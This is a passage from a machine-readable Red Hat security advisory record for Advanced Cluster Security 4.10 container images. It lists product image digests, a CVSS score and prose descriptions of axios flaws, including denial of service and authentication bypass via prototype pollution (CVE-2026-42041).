"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data"
},
{
"cve": "CVE-2026-42041",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T19:01:41.034289+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461629"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to manipulate the `Object.prototype.validateStatus` property. By polluting this property, all HTTP error responses (such as 401, 403, or 500) are silently treated as successful responses. This can lead to a complete bypass of application-level authentication and error handling, potentially granting unauthorized access.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
